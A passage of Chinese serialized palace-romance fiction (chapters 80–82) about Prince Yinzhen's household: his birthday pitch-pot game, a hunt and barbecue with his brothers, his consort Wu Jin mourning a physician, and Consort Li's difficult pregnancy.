乌喇那拉氏赞同道:“妹妹说得太对了,正是如此,你看弘晖白天都不在府里,我就开始想他了。”
“当额娘的总是牵挂自己的孩子,曦宁也总念叨着弘晖哥哥。”
“是嘛?弘晖也总想着妹妹一起玩,他天不亮就要起来去上书房,不知道跟我抱怨过多少回,说妹妹不用去上书房,为什么他要去,每个孩子都不想去上学。”
“孩子大多只想玩。”
乌喇那拉氏跟乌氏聊了好一会儿孩子的事,聊得差不多后才离开。
……
十月三十日,主子爷生辰。
乌喇那拉氏一早起来,因为今日有阿哥们过来给主子爷庆生,她吩咐膳房的人要提前备好一些能吃的点心,果酒马奶酒也备好。
等到巳时末,成婚的阿哥携着福晋还有几个格格过来,没成婚的阿哥一个人过来,因为人不多,所以没有男女隔开分席。
大家都坐在前院的大堂里,主子爷负责招待阿哥们,她身为福晋负责招待阿哥们带来的女眷,礼让奴才收好。
太子无论何时都是座上宾,好在太子说今日是主子爷的生辰宴,以主子爷为主,气氛才和乐不少。
热菜上来,一群人开始用膳,用膳用到一半时,阿哥们开始喝酒,玩行酒令,想轮流作诗。
只见十四阿哥第一个反对:“不行,我就没记住几首诗,让我作诗我可作不出来,不如我们来投壶吧,或是射箭。”
大阿哥笑道:“十四弟天天逃学,被阿玛抽检功课也答不上来,没有学识,让他作诗是难为他了,恐怕只有喝酒的份。”
“大哥真了解我,我是真作不了诗,投壶吧,投壶我在行,百投百中。”
一向在人群中不怎么说话的三阿哥胤祉也出声打趣道:“十四,你是真的会吹牛,还百投百中,你不会作诗,就要选你最擅长的投壶,那对我就不公平了。”
谁都知道三阿哥擅文不擅武,在这些阿哥当中,
三阿哥学识最渊博。
三阿哥此话一说,大家都笑了。
十四阿哥也笑道:“三哥,那岂不是正好,今日是给你表现的机会,说不定你能投过我,反正你会作诗,作诗比我厉害人人都知道,要是你今天投壶投得好,也能一改你只擅长作诗的形象,而且也别只有我们投,让嫂子们也参与进来,大家一块热闹热闹多好。”
“那好吧,那我只有奉陪了。”
“看,三哥都同意了,我们就来投壶。”
胤禛开口道:“好,那就投壶,不过先吃完再说。”
乌喇那拉氏见阿哥们要投壶,她赶忙让府里的奴才准备。
等吃完饭后,大家又一起移到大院子这边,这投壶其实很简单,老少皆宜,站在离壶一定远的地方,将箭投到壶中即可。
“额娘,我能投吗?”弘晖扯了扯乌喇那拉氏的袖子,跃跃欲试的样子。
乌喇那拉氏点点头。
十四阿哥直接提议分成两队,在场的人都包含在内,小孩也算在其中,选出两个队长,队长挑人,十四阿哥直接自告奋勇说他来当队长。
他们的目光自然而然落到太子身上。
太子浅笑道:“四弟来当,今日是为四弟庆生,不过要先说好赌注,输的人要喝十杯酒,每人还得掏出一百两,女子跟孩子除外。”
“四哥,你敢不敢?”
胤禛知道十四弟玩心很大,见十四弟冲他微挑下巴,看上去志在必得,他便点头同意,他跟十四弟各自挑人,一个接着一个挑。
因为他们兄弟之间还算熟悉,知道彼此的投壶水平,但他们不知道其他人的水平,挑人先从男子挑起,包括在场的太监,后是女子,最后是小孩,连两岁的曦宁跟弘昀也算在里面,等于每队都有人完全不擅长投壶,恐怕也不能投壶。
院子里放置着三个壶,每队出三个人一起投,每人有十支箭。
胤禛见十四弟拉着他队伍的人到一边小声商量,要是赢了,今日说不定能赢上千两,他也不用商量,先让看着最擅长投壶的人先投。
“十四,你磨磨蹭蹭干什么,赶紧开始了。”胤褆催促道。
“这就来,来吧,你们谁先投?”十四弟问道。
胤禛让二哥、三哥跟八弟先投,十四弟让曦宁、弘晖跟三哥的儿子弘晟先投,曦宁才两岁多,还是乌锦在一旁教曦宁怎么投,对于大人教小孩的“作弊”行径,他们睁一只眼闭一只眼。
胤禛没想到自家女儿还投中两箭,弘晖跟弘晟一个投中两箭,一个投中一箭,他见到十四弟很得意地嘴角上扬,十四弟那一队共得五箭,而他们得十八箭。
他是让最擅长的人先投,而十四弟那边是让最不擅长的人先投,一开始比分逐渐拉开,到后面又慢慢拉回来。
“乌夫人,你太厉害了,五箭已经很好了。”
十四弟见到乌锦投中五箭,激动地跟乌锦击掌,胤禛看着乌锦,也嘴角微微上扬,他又看到乌锦在角落里偷偷拿木箭在练习,就偷练这么一会,她就投中五箭,还是有点本事在身上。
乌锦见到他看她,她又偷偷将拇指往下,那样子充满挑衅,弄得他哭笑不得,他要是真输银子了,他就跟她讨要。
刚开始他们队领先,到后面分差越拉越小,到最后竟然被十四弟他们反超,十四弟他们一蹦两尺高,兴高采烈的样子好像是做了什么了不得的大事。
十四弟直接过来跟他们伸手要银子。
“四哥,虽然今天是你的生辰,但没办法,我们就是赢了,来来来,愿赌服输,一百两拿来。”
他们也不可能随身带一百两的,想先欠着。
“不行,有多少先给多少,剩下的以后再给,今天我一定要拿到银子,快,看看兜里有多少银子,通通都拿出来给我。”
十四弟催促道,胤禛只好拿出部分银子给他,他一一收过去,奴才的银子当然不收,就是收主子的。
十四弟将收的银两发给他那队的人,基本上主子跟奴才都有银子,弘晖他们也得了一些,拿到银子的人都很高兴。
因为大家都参与其中,气氛很是热闹。
这投壶结束后,他们这群兄弟又开始进屋喝酒,胤禛愿赌服输,喝了十杯,加上他是寿星,他们给他灌酒,他不想扫兴,基本上都喝了。
到后面都喝蒙了,他喝晕过去,等他再次醒来,天已经黑了。
“爷,你醒了。”
“他们人呢?”
苏培盛回道:“都回去了,几个阿哥都喝多了,福晋让他们喝了醒酒汤,住在宫里的阿哥,太子送回去了,大阿哥他们,福晋也让人送回府邸。”
胤禛开始反胃,示意苏培盛把痰盂拿过来,他对着吐一会,吐完还是难受,不过难受归难受,但他是高兴的,至少今日是高兴的。
他们一群兄弟之间难得这么其乐融融,开开心心地待在一块,往后这样的日子怕是越来越少,胤禛心里明白他想要争那个位置,恐怕有些兄弟注定要站在不同的阵营,就像今日分成两队,注定有输有赢。
胤禛开始想他该拉拢谁站在他这边,谁愿意站在他这边,胤褆不说,他身为老大,要是太子没有继位的希望,胤褆肯定想坐上太子的位置,老三胤祉跟太子关系太好,他应该会站在太子那边。
老五性子温和敦厚,恐怕不想卷入他们这些斗争中,老七出生时落下病根,一只脚不利于行,皇阿玛应该不会让他继位,老八老九老十老十二老十三他们倒是可以拉拢一二,十四是他的亲兄弟,他想十四会站在他这边。
“爷,你要吃点东西吗?”苏培盛的话打断胤禛的思绪,他嗯了一声。
苏培盛示意高昌义去备膳。
胤禛问几时了。
“酉时三刻,正是用晚膳的时辰。”
胤禛便让苏培盛去看看乌锦那边吃了没有,没吃的话就将膳食摆在桃园,他又让人备水,他先去沐浴,一身酒味,乌锦肯定嫌弃。
等他洗完澡,漱口过后,他才过去桃园。
天黑了,桃园这边也安静下来了。
“曦宁呢?”
“睡了。”
胤禛吐完肚子是空的,但见到桌上那些膳食又顿时没什么胃口。
“吃不下?”
“嗯。”
乌锦见他那样就知道他这会还很难受,她主动起身给他揉按太阳穴的位置,帮他按摩。
“这些吃不下的话让膳房的人煮一份咸骨粥吧,配些小菜,我看你今日还挺高兴的。”
“十四给你多少银子?”
“约莫二十两,就一锭银子。”
胤禛抓住她的手,板着脸:“就为了这二十两,你就卖夫求财?”
“什么卖夫求财,是爷不选我,你不选我,人家十四阿哥把我选走,要怪就只能怪你,你要是第一个就选我,我又怎么会站在十四阿哥那边,输了就输了,又不是我害你输的,我赢了当然可以分银子,你不仅第一个不选我,你是一直没选我。”
胤禛挑人的时候先把太子他们挑了,因为他不挑太子他们的话,十四肯定会把太子他们挑走,她毕竟是女子,又没投过壶,肯定是放在后面挑,她人都被十四挑走了,他还怎么选她。
“好,的确怪我,我应该第一个选你。”胤禛道歉道。
“你第一个选我就更赢不了,不过好在你今天收到很多生辰礼,应该可以抵你输掉的那一百两。”
胤禛反手摸了摸她的脸,突然觉得没那么难受了。
80-90
第81章第81章更新
第81章
“你给我送了什么?”胤禛还没来得及查看生辰礼。
“你不是都知道嘛,还问,你女儿也给你送了。”
胤禛知道她这几个月天天在绣一件褂子,他拉住她的手,摊开她的手掌,细细查看,看到几个针眼,他心疼道:“好啦,以后不用给我绣这些,交给绣娘就好,不要再亲手绣,刺得满手伤,还累坏眼睛。”
“你不饿,我还饿着,要不你先让我吃饭。”
胤禛便松开她的手,让她先吃饭。
过一会儿,奴才
们给他端来一碗粥,他勉强把粥喝完,他方才睡过了,这会不困,看着乌锦吃饱后说跟她一起消食,于是拉着乌锦到院子里走走。
“应该再做一个秋千给我坐。”
胤禛眼神很温柔地看着乌锦,笑道:“你又不是小孩子。”
“大人也可以坐秋千。”
胤禛无奈道:“好,过几日我让人再做一个大一点的秋千,这样你们母女两都有秋千坐。”
“谢谢主子爷。”乌锦高兴地抱住他。
胤禛顺势搂住她的腰,直接在院子里,皎洁的月光下亲她。
苏培盛等人站在走廊下,都默默低下头,不敢多看。
说是要走走消食,但乌锦觉得外面冷,加上又有蚊虫,她还是拉着四阿哥进屋,他睡不着,不代表她也睡不着,她白天可没有睡觉。
两人折腾两回后,乌锦就睡着了。
胤禛自己到后半夜才睡着。
第二天,他就开始查看别人送给他的生辰礼,先看几个孩子送的,弘晖亲手抄了全篇三字经给他,弘晖才刚开始识字,这三字经里面的字,他未必全部认得,字迹也还很稚嫩,但没有一个错字,可见他不止抄了一篇,小孩子也不能要求太多,心意更重要。
曦玉是送了一个荷包给他,绣工同样稚嫩,不过能看出来绣的是花鸟,他知道曦玉这阵子在学女工,而曦宁送了一幅画给她,还用木框裱起来,这画的是什么,他完全看不出来,像是在乱画,没有一点章法。
他忍不住问一旁的苏培盛:“你看出来这画的是什么吗?”
苏培盛低头看主子爷手里的画,完全看不出来画的是什么,像是小主子拿着毛笔沾了不同颜色的颜料随意涂抹而成,有些地方直接是一团。
“奴才眼拙。”
胤禛把画收起来,然后又看乌锦给他绣的褂子,他直接套上,很是合身,绣的花鸟比曦玉绣的比起来就是天上地下。
苏培盛在一旁恭维道:“乌格格这绣工真是了得,全京城恐怕都找不到比乌格格绣工更好的人,格格待主子爷这份心全在这里了,这得花好几个月才能绣好,格格真是太用心了。”
“多嘴。”
苏培盛瞥了一眼主子爷,主子爷很明显很高兴听到这些话,他算是明白了,主子爷很喜欢乌格格,但乌格格因为前面那些事对主子爷可能还心有芥蒂,对主子爷而言,主子爷最想得到的就是乌格格的心,这件褂子重要的不是绣工,而是乌格格的心意,花几个月绣的褂子正是心意所在,主子爷虽然说他多嘴,但其实他说对话了。
胤禛大半天基本都在拆生辰礼,到了午时,他拿着曦宁那幅画过去桃园,直接进屋问乌锦女儿画的是什么。
“这是你女儿画的第一幅画,画的是什么,你可能要问你女儿。”
“你就糊弄我。”
“怎么是我糊弄你,是你女儿糊弄你,不过她才两岁,你指望她能画出什么惊世之作,给你送礼就不错了。”
胤禛想想也是,不过他看着偷笑的乌锦,抬手揉了揉她脑袋,她一向不怎么喜欢戴头饰,一摸就摸到她的头发,将她的头发弄乱。
“爷,你太过分了。”
胤禛轻笑,又揉一通。
过后,他留下来跟母女两一块用午膳,那幅画最后被他放进书房,连同弘晖写的三字经一块放着。
许是想着拉拢老八他们,胤禛抽空约着老八他们一块去酒楼,把十四也叫上,老八性子也温和,兄弟几个有说有笑,气氛倒也融洽。
中间碰到保泰,保泰也在这家酒楼喝酒,听说他们在这,也过来他们的厢房,他们跟保泰也自幼相识,于是凑在一块并无不快。
人是胤禛请的,自然酒钱他付,在老八他们准备回宫时,十四说过几日去狩猎,他们又约了五日后去狩猎,一群人才真正散开。
胤禛回到府里,听闻李氏见血时,又过去邀月苑,福晋也在,他问是怎么回事。
李氏这一胎已经五个月了,这个时候见血不是好事。
福晋开口道:“府医柯大夫说李妹妹有先兆性流产的迹象,给妹妹开了安胎药,让妹妹喝安胎药,还有这阵子要卧床,不然这孩子有可能保不住。”
“先兆性流产?都五个月了,胎儿不是稳定了吗?”
福晋说李氏这两三个月一直吃什么吐什么,孕吐比较严重,身子也一直不适,哪怕是五个月,也不能保证完全没有问题。
胤禛看向躺在床上的李氏,她脸色的确微微发白,看上去很虚弱,他坐在床边,宽慰李氏道:“既然柯大夫说了,你就好好躺着安胎,曦玉跟弘昀让福晋帮着照看,明日再请周太医给你看看,好好养着,其它事不要操心。”
李氏觉得她都已经怀胎五个月了,这一胎要是阿哥的话,她有可能会被晋封为侧福晋,无论如何,她都要把这个孩子平安生下来。
“爷,我会好好安胎,好好喝药,我会把这个孩子平安生下来,还请爷放心。”
“孩子固然重要,但你的身子也一样重要,曦玉跟弘昀不能没了额娘。”
李氏眼眶泛红,听着主子爷的话只觉得感动,主子爷还是在乎她的,不仅仅在乎她肚中的胎儿,主子爷心里还是有她的。
“我知道了,我会照顾好自己,还请爷放心,姐姐,曦玉跟弘昀他们两个,这阵子就劳烦姐姐先帮我照看一二。”
“那是肯定的,我肯定会把两个孩子照顾好的,你只管放心安胎,好啦,也别说那么多话,该歇息就歇息吧,别把自己累着,还有你们这些奴才,一定要照顾好格格,有什么事立即去请柯大夫,让人来通知我跟主子爷,一定不能耽搁。”福晋朝着那些伺候李氏的奴才吩咐道。
胤禛让李氏好好歇息,他回前院,他喝了一点酒,回到前院后先洗澡,洗完后出来看书,天黑后就歇下了,没叫人侍寝。
五日后,胤禛跟老八他们一起去狩猎。
上一次十四猎到一头麋鹿,那只麋鹿被膳房的人风干腌成腊肉,还没到吃的时候,十四这一次也大放厥词说他这回能猎到两头麋鹿。
保泰说十四只要猎到一头,他就给十四一百两,两人打起赌,他们还是分队行动,胤禛跟老八老九在一块。
老九心思不在狩猎上,一个劲地抱怨他的福晋,说他福晋管他管得严,两人昨天还吵架了,被宜妃娘娘知道后,他被叫过去说了一顿。
胤禟的福晋是董鄂家的,跟胤祉的福晋是堂姐妹,但两姐妹性格还挺不一样,九福晋很喜欢管着胤禟,暴脾气,动不动就跟胤禟吵起来,连胤禛这种已经搬出宫的人都有所耳闻。
胤禩说道:“九弟,你是堂堂男子汉,你为何要怕女子,她是你的媳妇,她怎么还骑到你头上,以夫为纲,你应该振夫纲才是。”
“八哥,你说得容易,她是女子,但也是我媳妇,我又不能休妻,我说人家,人家压根不听,就跟你闹,跟你吵,八哥,你跟我是住在同一宫
的,你又不是不知道她嗓门有多大,况且我只是不跟她一般计较,她骑不到我头上去。”
胤禛听着老九说起他福晋的语气,也听出来老九对他福晋肯定也是有感情的,正因为有感情,他才有所忍让,老九刚成婚一年,还在新婚燕尔的时候。
“四哥,你跟四嫂吵吗?”
胤禟转过头问他,胤禛说他们从来不吵。
胤禟很明显不信:“夫妻哪有不吵架的,你跟四嫂这么多年都没有吵过吗?”
胤禛摇头,他是真的没吵过,他的福晋性子很温和,后院的事,他一般交给她处理,不会过问太多,乌喇那拉氏也很听他的话,不会违抗他。
“四哥不跟四嫂吵架,那四哥,你也不跟你后院那些夫人吵,她们都对你唯命是从?”
胤禛想到乌锦,他跟乌锦是吵最多的,以前乌锦对他的话是阳奉阴违,哪会对他唯命是从,不气死他就不错了。
“有跟她们超过架。”
胤禟顿时露出了然的样子,说道:“我听说夫妻不吵架,说明感情不深,四哥,你是不是不喜欢四嫂,而是喜欢你后院哪位夫人,谁跟你吵得最多,那个人才是真正影响你情绪的人。”
“歪理,这后院的女人就该听我们的话,哪容她们质疑,这跟感情深不深没关系。”老八反驳道。
胤禛觉得胤禟说的有几分道理,不过他并非跟福晋感情不深,只是他的确乌锦更能牵动他的心,但福晋就是福晋,他也很敬重她。
老八老九的话也凸显出他们两性格的不一样,老八性子温和,但他骨子里更强势一些,他们两个人因为同住一宫,关系很好,所以要拉拢他们两个,老八可能要排在老九前面,老八更不容易说服。
“好啦,老九,我们是过来狩猎的,你总说你后院那些事,我都听腻了,我们可不能输给十四他们,上一次投壶,我们就输过一次了。”
老八这么一说,他们一群人才专心在狩猎上,他们没有遇到麋鹿,只是遇到一些野兔野鸡。
他们花了大半天猎到七只麻雀、两只野兔跟一只野鸡,猎的猎物不多,毕竟他们带的人少。
而十三、十四跟保泰则猎到五只野兔跟四只野鸡,还用鸟枪射中了一只鹰。
又是十四他们猎的多,老九欠十四一百两,不过他们不算空手而归,还是蛮有收获的,尽兴而归。
十四跟他一起回府邸,还说今晚要在贝勒府过夜,让奴才进宫通知宫里人,免得宫里的人以为他出事了,其实主要是通知德妃娘娘,免得娘娘担心。
十四说要将他猎回的猎物用来烧烤,直接差人去拿烧烤架,那几只野兔野鸡让膳房的人先做处理。
胤禛只能任由十四折腾。
乌锦牵着曦宁过来,问他们在做什么。
“乌夫人,我今日跟四哥猎中了几只兔子跟野鸡,我们准备烤来吃,你要不要一起?”
“好啊,让膳房的人多准备一些食材,素菜准备一些。”
烧烤她熟,想也没想地答应下来,以前在乌家的时候,乌锦偶尔也会跟家里人一起烤肉,尤其是冬日,一家人围在一块烤肉,边吃边烤是一件很幸福的事。
“曦宁,叫人,叫十四叔。”
“十四叔。”
十四阿哥见到可可爱爱的小侄女,小侄女跟四哥长得不像,倒是很像乌夫人,尤其是那双眼睛,他半蹲下来跟小侄女说话:“真乖,十四叔给你当马骑好不好?”
乌锦哪敢让十四阿哥给女儿当马骑,她婉拒道:“十四阿哥,曦宁这孩子怕高。”
“没事,我一定会把她抓得紧紧的,不会让她摔下来。”
乌锦觉得十四阿哥自己也是半大的孩子,她不放心女儿骑在他背上,万一摔下来就不好了,她求助的眼神看向四阿哥。
“没事,让她玩吧,十四弟肯定能保护好曦宁的,十四弟难得开口。”
“四哥,我看你就是想看戏。”
胤禛笑了笑,他的确有这个心,他让十四弟弯腰,将女儿放在他背上,开玩笑道:“既然要当马,你两只手也要伏地,不能站起来,就在这院子绕一圈。”
“来吧,小侄女,你搂着十四叔的脖子。”
曦宁很好奇,她不懂骑马是什么意思,她老实趴在十四叔的背上,过一会儿十四叔驮着她跑,她搂着十四叔的脖子,开始大笑,觉得很好玩。
伺候的奴才纷纷左右跟在两位主子身边,伸手接着,生怕小主子掉下来。
乌锦看着在院子里玩闹的两个人,她站到四阿哥身边,小声道:“爷,这样会不会不好?”
那是十四阿哥,总归是阿哥,被人看到传出去会不会认为四阿哥苛待十四阿哥。
“没事,你看曦宁玩得挺开心的。”
乌锦意味不明地看他一眼,曦宁是开心了,但她觉得日后她这个阿玛会不开心,曦宁之后肯定还想玩,到时候就让她找她阿玛,她又看向十四阿哥,也亏十四阿哥本身就是爱玩的性子,也随和,跟四阿哥关系很好,看得出来十四阿哥是真的把四阿哥当成亲哥哥,四阿哥对十四阿哥也很好。
在这些阿哥当中,似乎是十四阿哥跟四阿哥关系最亲近,来往最多,十三阿哥反而跟四阿哥来往还不多。
曦宁两只手紧紧搂着十四阿哥的脖子,在十四阿哥累得停下来时,她还让十四阿哥跑快一点,十四阿哥歇一会又驮着曦宁在院子里跑,直到膳房的人将食材送上来。、
烤架上的炭火也已经准备好,他们就在前院的院子里烧烤,膳房的人还准备牛羊肉,一些蘸料,素菜也串好送上来。
乌锦难得有兴致亲自动手烤,曦宁这个小馋虫已经开始嚷嚷要吃了,她先给她烤了一串蘑菇。
“好吃吗?”
“好吃。”
“好吃的话给额娘竖大拇指。”
曦宁竖起大拇指,乌锦亲了亲女儿脸颊两下后又接着烤了。
十四阿哥显然不会烤,身为阿哥,他也无需亲自动手,他只负责吃,乌锦烤好几串牛肉后先递给他。
“乌夫人,你怎么不先给四哥?”
“你四哥不着急。”
乌锦不好说十四阿哥是客人,这是基本的待客之道,肯定先让客人吃好,她又继续忙活,她跟四阿哥相处这么多年,也知道他的口味,他口不重,不大喜欢吃辣,也不喜欢食物太咸,她少撒佐料,烤好后递给他。
“好啦,交给他们吧。”胤禛说了一句,让奴才们接手。
“好吃吗?”
胤禛看乌锦一直盯着他,仿佛在等他的夸赞,眼睛亮亮的,他咬一块肉,学着女儿给她竖大拇指,被她嗔了一眼。
“你又不是小孩子,我要你说出来。”
“好吃,你哪学来的手艺?”
“好吃就行,不好吃你也得全部吃完,不吃完的话,你以后就别想吃到我给你弄的食物了。”
胤禛轻笑,觉得乌锦此时像一只猫,威胁人的时候一点都不凶,他默默吃手上的串,用行动证明他一定会吃完她烤
的那几串。
胤禵在一旁偷看四哥跟乌夫人站在一块说话的画面,两人挨得很近,四哥跟乌夫人说话时眼神都柔和了,乌夫人对四哥也很亲近,他心想以后他要娶的福晋像乌夫人这样就好了,他们琴瑟和鸣,如胶似漆。
这顿烧烤吃了一个多时辰,胤禵真的在四哥这里歇下,他歇在前院,而四哥过去桃园,在乌夫人那歇下。
第二天一大早,胤禵跟他四哥一起用完早膳后,两人一块进宫,四哥是进宫给额娘请安。
……
眨眼间来到十二月十五日,临近过年,贝勒府这边的粗使奴才开始忙活,除尘洒扫,将府里里里外外都清洗一边。
耿氏吃了快两个月的汤药,肚子依旧没有动静,之前听她提起何神医,便想着让何神医给她看诊。
乌锦便想着趁着快过年了,她回娘家一趟,也顺道找何神医,看何神医什么时候有空过来贝勒府一趟。
一大早,她带着曦宁回娘家,带了一些年货回去,她家里人也一早在家里等她。
乌锦看着乌安,觉得他又长高了,乌安已经十二岁,开始从孩子变成大人的模样,乌明还是胖乎乎的,一看就没少吃。
“桃子,你小娘已经给你炖好羊肉了。”
“我还不饿,不着急吃。”乌锦先坐下来,问一下铺子那边的生意。
她额娘说不好不坏,每个月能挣个五两银子。
五两银子还行,乌锦见乌安跟乌明已经开始逗着曦宁玩,她让曦宁喊大舅小舅,曦宁跟着说大舅小舅。
她额娘顿时笑咧嘴,忍不住抱着曦宁亲,曦宁被她从小亲到大,已经习惯别人亲她的脸,哪怕对她额娘还是有些陌生。
“我外孙女已经这么会说话了,真厉害。”
“桃子,你什么时候生个阿哥?”
她阿玛这话一出就被小娘拍一下手。
乌锦知道他们肯定想她再生个阿哥,生个阿哥这地位才稳固,她平静道道:“这生不生阿哥也随不了我,得看老天爷的天意,我肚子没有动静也没有办法,对了,何神医还在京城吗?”
小娘听到这话脸色一变:“你还不知道吧,何神医半年前就走了,听说是半夜走的,第二天才被人发现,那些受何神医恩惠的人主动帮何神医办了后事,给何神医建了一座墓,我跟你娘还去何神医坟墓前上香了。”
“半年前走了?”乌锦有些诧异,竟然半年前就离世了。
“是啊,我们忘了跟你说这事了,是半年前走的,我们这些认识何神医的人还说何神医两年前回到京城,是不是他已经预感到自己大限将至,才回来京城,想着落叶归根,是有点突然,不过何神医年纪也不小了,桃子,你找何神医是不是为了再生孩子的事?”
乌锦摇摇头,说她就是随口一问,她听到何神医的死讯,还是忍不住难过。
“何神医的墓在哪,我过去给何神医上一炷香吧。”
“也好,我们带你过去吧。”
乌锦随着她额娘跟小娘过去何神医的坟墓前,何神医没有家人,孑然一身,墓碑上刻着何神医之墓,最上面的医者仁心四个字总结了何神医的一生,生年不详,卒年康熙四十一年五月二十日。
她亲自给何神医上香,帮他擦掉墓碑上的灰尘。
“不用担心,何神医这墓隔一段日子就会有人自发过来打扫的,你看都没有太多荒草,记得何神医的人还是有很多,当年没有何神医,就没有你额娘了,他还给你治过脸上的疤,不过何神医是寿终正寝,他没有被病痛折磨,就这样突然骤逝,也算是好事。”
“是啊,救过额娘,也救过我,何神医一直是医者仁心,这世间少了一位好大夫。”
乌锦喃喃自语道,上完香后她才带着额娘她们回家。
第82章第82章更新
第82章
乌锦在乌家待到天黑才回府,刚回到桃园,听春就过来说李格格今日又请太医,说是又见血了。
李氏这一胎怀得异常艰难,这已经不是第一次见血,乌锦前几日还去探望过李氏,李氏不仅要喝安胎药,还要躺着,连站都不能站,也不知道这孩子能不能平安生下来。
“戚妈妈,你把曦宁带下去洗澡吧,她也玩一天了,注意别着凉,晚上睡觉前给她多穿些衣服,屋内炭火要足。”
戚妈妈她们把曦宁带下去。
至于李氏见血这事,她也帮不上什么忙,只盼着李氏能平安顺利诞下孩子,其它的,她不是大夫,也无能为力。
她自己洗完澡后也准备躺床上歇息了,外面传来动静,过一会儿见到四阿哥出现在她眼前,有时候他突然过来,她已经见怪不怪了。
“爷,不早了,该歇息了。”
“你这是在暗示什么吗?”
乌锦往床内侧挪去,懒得理他说的话,她今日是没什么心情,一来天冷,二来得知何神医的死讯,她心里莫名涌出一些悲伤。
胤禛见她神色不对,默默躺下来,轻声问道:“怎么了,今日不是回娘家了嘛,还不高兴?是不是乌家又出什么事了?“
“没出事,爷就不能盼点好的,我只是累了,今晚想早点歇息。”
“那你睡吧。”
乌锦就真的闭眼,没再管他,过一会儿就睡着了。
胤禛等她睡着后又起身,把乌锦身边的奴才叫到外面问话,问今日乌锦回娘家都做了什么,有没有发生什么事。
今日随着乌锦回娘家的是君梅跟翠香,两人都有些犹豫,毕竟格格先前说过格格才是她们的主子,她们不经格格允许就跟主子爷汇报格格的一言一行,岂不是背叛格格。
“你们这脑袋是不想要了是不是?”
主子爷一冷脸,一施压,两人吓得跪下来,君梅开口道:“主子爷,格格她没做什么,就是跟乌老爷跟乌夫人他们一块说话,一块用膳,两位少爷陪着小格格玩,并没有什么不妥的地方。”
“那为何你家主子看起来心情不好?”
君梅回道:“格格心情不好可能是得知一位叫何神医大夫的死讯,听说何神医是乌夫人的恩人,先前救过乌夫人跟格格,格格此次归家得知何神医的死讯,许是有些感伤。”
“何神医?哪个何神医?”
“奴婢也不知道,奴婢只是在一旁听乌夫人说当年乌夫人产后恶露不止,差点丧命,是这位何神医救过来的,格格他们都很感谢这位何神医,奴婢真不知道格格为何心情不好。”
她们也不敢隐瞒,胤禛让她们闭紧自己的嘴,别把他审问她们的事告诉她们的主子,他自己又回床上躺下,想着明日让人打听打听这个何神医是什么人。
翌日,胤禛回到前院就把贺进豪叫进书房,让他去查这个何神医是什么人。
没过几日,贺进豪把何神医的底细呈给他,胤禛看完后没觉得哪里不妥,不就是一个医术精湛,人人称赞的大夫,还是前两年才回到京城的,虽然救过乌锦额娘的命,但跟乌锦非亲非故。
两年前?胤禛想到两年前乌锦给他下的毒,该不会乌锦是跟这位何神医讨要的毒药吧,人都死了,他也无从查证了,只好将此事放下。
年前,户部的事也不少,胤禛白天去户部衙门,因李氏身子不好,有流产的迹象,他偶尔还会过去看看李氏。
……
四阿哥审问君梅她们的事,君梅可能内心煎熬,最后还是忍不住偷偷告诉她,乌锦觉得不是什么大事,就也装作不知此事。
快过年了,府内过年的气氛浓烈了一些,乌锦跟耿氏说了何神医过世的事,耿氏有些失落。
乌锦跟她说她肯定会有好消息的,心情要放松,不要太过焦虑,可能好消息很快就会到来。
耿氏这才收起失落的心情,继续喝周太医给她开的药方。
又是一年除夕,乌锦带着曦宁跟着四阿哥跟福晋进宫,因乌锦已经有过经验了,知道宫宴上的菜不好吃,她跟女儿都提前吃了一点东西垫肚子。
这除夕宴一吃就是两个时辰,从宫里出来后,曦宁这孩子昏昏欲睡,乌锦抱着她上了马车,这回是她们自己一辆马车,不用跟四阿哥共乘。
等回到贝勒府已经是未时末,离天黑可能还有一个时辰,府里没什么守岁的习俗,至少她不用跟着守岁。
曦宁这孩子一回到桃园又精神万分,一直在院子里玩,院子里有两个秋千,一大一小。
乌锦让小才子拿来一些鞭炮,他们在院子里放鞭炮。
宋氏跟耿氏也过来桃园,找她玩叶子牌,大家都闲着没事,见她们在放鞭炮,又加入放鞭炮的行列,后面开始拿着仙女棒玩。
一群人在院子里玩得很欢乐。
曦玉过来时就是看到她们玩得很开心的样子,顿时不满起来,原本想进去的又退出去,额娘生病躺着,不能陪她玩,让她过来找妹妹一块玩。
只是她见到乌夫人她们一点都不难过,明明她额娘还在病着,她们却十分开心,为额娘难过的只有她一个,她又气冲冲地回到额娘身边。
“怎么又回来了?我不是让你找妹妹玩吗?”
“额娘,我不想跟妹妹一起玩,我不喜欢妹妹。”
李氏也不明白女儿为何不喜欢曦宁,她想着趁着过年,女儿跟曦宁玩一玩,关系能变好起来,姐妹两一直僵着算怎么回事,乌格格肯定不会阻拦曦玉跟曦宁玩的,两年下来,她也知道乌格格
这个人不是斤斤计较的性子。
“曦玉,曦宁是你妹妹,你为什么不喜欢妹妹?”
“额娘,我只想陪着你,你还在生病,我不想去玩,我只想让额娘尽快好起来,额娘陪我玩就好。”
李氏这阵子经常躺在床上,身子不适,又怕肚中胎儿出事,种种加起来,她难免有些焦虑跟不安,突然听到女儿这些话,女儿的懂事让她眼中泛泪,躺在床上伸手揽了揽女儿,哽咽道:“额娘肯定能好起来的,你既然不想跟妹妹玩,那就留在额娘身边吧,跟额娘说说话。”
“额娘,阿玛他都不来看你,他只喜欢乌夫人。”
李氏有些讶异:“为什么这么说,你阿玛有看来过额娘,你阿玛有关心额娘,不准你这么说你阿玛。”
“额娘都病成这样了,阿玛都没有过来,还去乌夫人那里,阿玛都不担心额娘,我又没有说错。”
李氏摸了摸女儿的脸,纠正道:“你阿玛有来看过额娘,来过很多次,只是你没见到而已,谁说你阿玛不担心额娘,你阿玛很担心额娘,不然他也不会请太医过来给额娘看诊,大人的事是大人的事,你是小孩子,不该说这些话,你阿玛对额娘不错,对你跟弟弟也不错,你不能这么想你阿玛。”
四阿哥真的来看过她,不过年前事多,他停留的时间不会过久,并非是女儿口中说的没有来看她,李氏隐隐明白女儿这是为她抱不平,觉得她阿玛更喜欢乌夫人更看重乌夫人,从而忽略她。
“曦玉,你应该记住你阿玛也是你妹妹的阿玛,他不是你一个人的,也不是额娘一个人的,我们都不应该完全占有他,你也不能因为你阿玛去看你妹妹而生气,更不应该因为你阿玛过去看妹妹而不喜欢妹妹。”
“以前阿玛常常陪我玩的,现在他都陪妹妹玩。”
李氏叹口气,劝解道:“不是这样的,你阿玛在外面忙活,他要帮着你皇爷爷处理公务的,他不是不想陪你玩,只是你阿玛忙,没有时间陪你玩,他并不是只陪妹妹玩,你阿玛是变忙了,才没有办法常常陪你玩,这跟妹妹无关,跟乌夫人也无关,就好像你要去学堂上学一样,还有你要跟着绣娘学手工,你长大了也要做很多事,而不是只有玩,你阿玛不仅仅是你阿玛,他跟你一样要做别的事情。”
曦玉似懂非懂。
